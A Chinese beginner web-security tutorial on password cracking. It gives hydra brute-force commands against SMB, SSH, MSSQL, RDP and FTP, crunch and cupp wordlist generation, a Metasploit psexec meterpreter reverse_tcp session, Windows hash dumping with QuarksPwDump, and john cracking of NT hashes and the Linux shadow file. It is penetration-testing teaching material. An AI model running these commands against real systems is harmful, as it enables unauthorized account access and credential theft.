口令破解(web安全入门07)
一、口令破解
1.1 口令安全概述
现在很多地方以用户名(账户)和口令(密码)作为鉴权的方式,口令(密码)就意味着访
问权限。例如网站后台、数据库、服务器、个人电脑、QQ、邮箱等等。
1.2 口令安全现状
1、弱口令
类似 123456、654321、admin123 等这些常见的弱密码
2、默认口令
很多应用或者系统存在默认口令。比如 phpstudy 的 mysql 数据库默认账密[root/root],
Tomcat 管理控制台默认账密[tomcat/tomcat]等。
3、明文传输
比如 HTTP|FTP|TELNET 等服务,在网络中传输的数据流都是明文的,包括口令认证信息等。
这样的服务,有嗅探的风险。
1.3 破解方式
1.3.1 在线破解方式
账密,需要认证
hydra
-l 指定一个用户名
-p 指定一个密码
-P 指定密码字典
-L 指定用户名字典
-vV 显示爆破细节
-o 保存爆破结果
-f 找到正确的密码就停止爆破
-t 线程
-e
n null
s same
r 反向
用户名未知,密码未知
用户名已知,密码未知
用户名未知,密码已知
1.3.2 离线破解方式
密文,还原成明文的过程
二、暴力破解
暴力破解就是利用所有可能的字符组密码,去尝试破解。这是最原始,粗暴的破解方法,根
据运算能力,如果能够承受的起时间成本的话,最终会爆破出密码。下表根据不同的位数生
成密码的空间大小。
字符集 密码位数 密码空间
[0-9] 8 位 10^8=100000000
[0-9][a-z] 8 位 36^8=2821109907456
[0-9][a-z] 1 到 8 位
工具:crunch(kali 自带)
[crunch 1 8 1234567890abcdefghijklmnopqrstuvwxyz]
三、字典破解
如果能通过比较合理的条件,删选或者滤掉一些全字符组合内容,就会打幅度降低爆破的成
本。我们把筛选出来的密码组成特定的字典。用字典爆破密码也是可以的,但是这样可能会
漏掉真正的密码。密码字典大致分为以下几大类
3.1 弱口令字典
比如 123456,admin 等这样的默认口令或弱口令
3.2 社工字典
人在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见
的密码组合“名字+生日”, [zhangsan1992]
社工字典更具针对性,准确率也比较高。
我们可以根据个人信息生成密码字典。可以使用 cupp 工具,但是 cupp 工具是国外人开发
的
apt-get update 更新软件列表
apt-get install cupp
cupp -i
3.3 字符集字典
如果能确定密码的字符集合,也将大大降低爆破的成本。
1、真空密码字典生成器
2、crunch(kali 自带)
是一种创建密码字典的工具,按照指定的规则生成密码字典,可以灵活的定制自己的字典文
件。
使用 crunch 工具生成的密码可以输出到屏幕,保存文件或另一个程序。尤其是渗透测试需
要爆破的时候,字典的编排等直接影响到我们的爆破速度,对整个渗透测试流程起着十分重
要的作用。
⑴查看帮助
man crunch > crunch.help
⑵命令格式
crunch [] [options]
⑶参数说明
min-len 设定密码的最小长度(必选)
max-len 设定密码的最大长度(必选)
charset string 字符集
oprions
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,记包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/usr/share/crunch/charset.lst)
-i 改变输出格式,即 aaa,aab -> aaa,baa
-o 将密码保存到指定文件
-q 读取密码文件,即读取 pass.txt
-r 定义重复一个字符串就重新开始
-s 指定一个开始的字符
-t 指定密码输出的格式
-u 禁止打印百分比
-z 压缩生成的字典文件,支持 gzip,bzip2,lzma,7z
-l 生成特殊字符
-p 指定生成元素
⑷查看库文件
cat /usr/share/crunch/charset.lst
⑸特殊字符
% 代表数字
^ 代表特殊符号
@ 代表小写字母
, 代表大写字母
3、生成密码字典
⑴生成 1-8 位密码字典,字符集合为小写字母,从 a 开始到 zzzzzzzz 结束
crunch 1 8
⑵生成 1-6 位的密码字典,字符集合为[abcdefg],从 a 开始到 gggggg 结束
crunch 1 6 abcdefg
⑶生成指定字符串,比如生日的日期
crunch 8 8 -t 199307%% -e 19930731
⑷生成元素的组合,比如 123.com
crunch 7 7 -t %%%.com -s 111.com -e 123.com
⑸在字典中输出特殊字符
crunch 3 3 abc -t @@@ -l @aa
⑹以元素组合生成字典
[zhangsan|1993|0701]
crunch 4 4 -P zhangsan 1993 0701
⑺保存字典文件
crunch 11 11 -t 1700010%%%% -b 20mb -o START
⑻自定义字符集合
例如:编辑 charset.lst 文件,在文件中加一行内容,test = 123
创建自定义字符集合[*.com] 字典文件
crunch 5 5 -f charset.lst test -t @.com
3.4 简单介绍字典
子域名字典
默认账号密码字典
文件路径字典
日志文件
Web 目录
常用变量名字典
常用文件名字典
四、Windows 口令破解
4.1 windows 口令远程爆破
1、hydra(九头蛇)
hydra -l administrator -P …/dic/pwd.dic 192.168.1.200 smb
或者
hydra -l administrator -P …/dic/pwd.dic smb://192.168.1.200
hydra -L …/dic/user.dic -P …/dic/pwd.dic 192.168.1.200 smb
hydra -l administrator -P …/dic/pwd.dic smb://192.168.1.200 -vV -f -e nsr
2、知道用户名、密码之后用 msf 远程连接
msfconsole
use exploit/windows/smb/psexec_psh
set payload windows/x64/meterpreter/reverse_tcp
show options
exploit
4.2 windows 账户 hash 值破解(离线爆破)
除了可以远程爆破 windows 密码,我们还可以从本地破解 windows 密码。本地 Windows 账
户破解主要有两种方式
1、从内存中读取 windows 密码
我们可以用 getpass 直接从 Windows 系统内存中读取用户数据。
2、Windows hash 值破解
Windows hash 值破解一共有两步操作。
首先我们使用 QuarkPwDump 工具读取(导出)Windows 账户密码 hash 值
C:\Users\Administrator\Desktop\QuarksPwDump.exe -dhl -t JOHN -o win2008.hash
然后在使用 john 工具破解
john win2k8.hash --format=NT 使用默认字典
john win2k8.hash --format=NT --wordlist=/root/dic/winPass.dic
john win2k8.hash --show --format=NT
五、linux 口令破解
linux 口令破解,也分远程破解和和本地破解。
远程破解主要是爆破 ssh 服务,属于在线密码攻击。
本地破解需要拿到 linux 的 shadow 文件,进行 hash 值破解,属于离线密码攻击。
破解 ssh 服务
hydra -l root -P …/dic/pwd.dic ssh://192.168.1.200 -vV -f -e nsr
hydra -L /root/dic/user.dic -P /root/dic/winPass.dic 127.0.0.1 ssh -e nsr -vV -o 127.ssh
本地 shadow 文件破解
我们可以使用 john 工具,破解 shadow 密码文件,破解的时候需要准备一个密码字典。
复制一份 shadow 文件
john shadow
john shadow --show
六、网络服务口令破解
1、破解 MSSQL 口令
hydra -l sa -P /root/dic/test_pwd.dic 192.168.1.150 mssql -vV
2、破解 RDP 口令
hydra -l administrator -P /root/dic/test_pwd.dic 192.168.1.150 rdp -vV
3、破解 FTP 口令
hydra -L /root/dic/test_user.dic -P /root/dic/test_pwd.dic 192.168.1.150 ftp -vV
口令破解(web安全入门07)相关推荐
- Web安全-口令破解
前言 口令破解是一种对应用认证系统的攻击手段,在web攻击中,一般会使用这种手段对账号登录系统进行破解. 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果. 为了提高效率,暴力破 ...
- [转]PHP大型Web应用入门(一)
PHP大型Web应用入门(一)作者:奶瓶 来源:http://www.phpx.com/happy/viewthread.php?tid=110678 这里所说的"大型"应用不是说 ...
- 【CyberSecurityLearning 54】扫描技术+口令破解
目录 扫描技术 资产发现 扫描神器(nmap)[效率高] 主机发现 端口扫描 扫描方式 参数 Nmap命令 nmap扫描时的端口状态 工具 扫描技术---网络漏洞扫描 漏洞扫描原理 漏洞扫描通常分为两 ...
- CTF-攻防世界web新手入门篇
CTF-攻防世界web新手入门(全) 攻防世界网址 1.view_source 2.robots 3.backup 4.cookie 5.disabled_button 6.weak_auth 7.s ...
- JSON Web Token 入门教程
JSON Web Token 入门教程 转载http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html JSON Web T ...
- 干货|Web安全入门基础与思路总结(附思维导图)
该篇文章主要是写给WEB安全入门者的基础与思路 基础 HTTP协议 网站访问过程 静态页访问 首先用户通过浏览器打开kw0ng.top,此时浏览器会向DNS服务器请求解析,将kw0ng.top转换为I ...
- 网络安全web方向入门题合集
网络安全web方向入门题合集 [HCTF 2018]WarmUp 验证 [极客大挑战 2019]EasySQL [极客大挑战 2019]Havefun [强网杯 2019]随便注 前期工作 堆叠注入查 ...
- python开发web教学视频_Python快速Web开发入门与实践视频课程
Python快速Web开发入门与实践欢迎来到KK的<Python快速Web开发入门与实践>捧场!下面请允许我为这套课程做一点介绍. <Python快速Web开发入门与实践>是一 ...
- JSP WEB开发入门基础到高手进阶教程002
JSP WEB开发入门基础到高手进阶教程 -------开发入门 JSP与微软的Active Server Pages 兼容,但它是使用类似HTML的卷标以及Java程序代码段而不是VBScript. ...
最新文章
- 第十五届智能车竞赛芯片选型浅析
- Android 编译期间 动态修改AndroidMainFest文件
- 怎么在mysql中打开表存信息,我应该如何存储用户的“收藏夹”在mySQL表?
- 重磅!DataFountain新上两项CV算法竞赛-32万巨奖等你来拿!
- ubantu20下python安装和卸载
- 使用工具安装,运行,停止,卸载Window服务
- diskpart 设置硬盘格式
- CAD转GIS工具软件下载
- 寒假学习报告 第一周 1.18
- 彩影2008 白金版 10.1 build 2010
- 51单片机无法烧录程序的N种解决办法
- 如何在Windows7系统下进行C盘的扩容
- 如何读懂 MySQL rw-lock 锁的统计信息
- 幽灵蛛(pholcus)(四)--正则表达式学习资料
- linux查看硬盘命令ls,linux 硬件信息查看命令
- 湖北大学计算机学院王时绘,5G来了,有湖大人的智慧!
- 新一轮的XNA学习开始
- cobol 知识点集锦
- Trie树 与 三分树(Ternary Trees)
- 湘潭大学计算机组成原理试卷,湘潭大学11级原理课堂测验题集.ppt
热门文章
- 使用云祺虚拟机备份软件备份H3C CAS 虚拟机
- 不是技术也能看懂云计算,大数据,人工智能
- 寻找复杂背景下的物体轮廓 (从禾路的博客园整理学习)
- linux系统etc什么意思,请问linux下的etc是什么意思?
- 业聚医疗在港交所上市:市值约76亿港元,钱永勋、刘桂祯夫妇控股
- 电子招标投标系统 —采购招投标管理一体化系统-
- 基于Thinkphp5+EasyWeChat+fastadmin微信小程序授权登录获取手机号微信公众号网页---联合授权登录
- CF1438D Powerful Ksenia
- Suse linux 命令行
- 子集生成算法 之 位向量法和增量构造法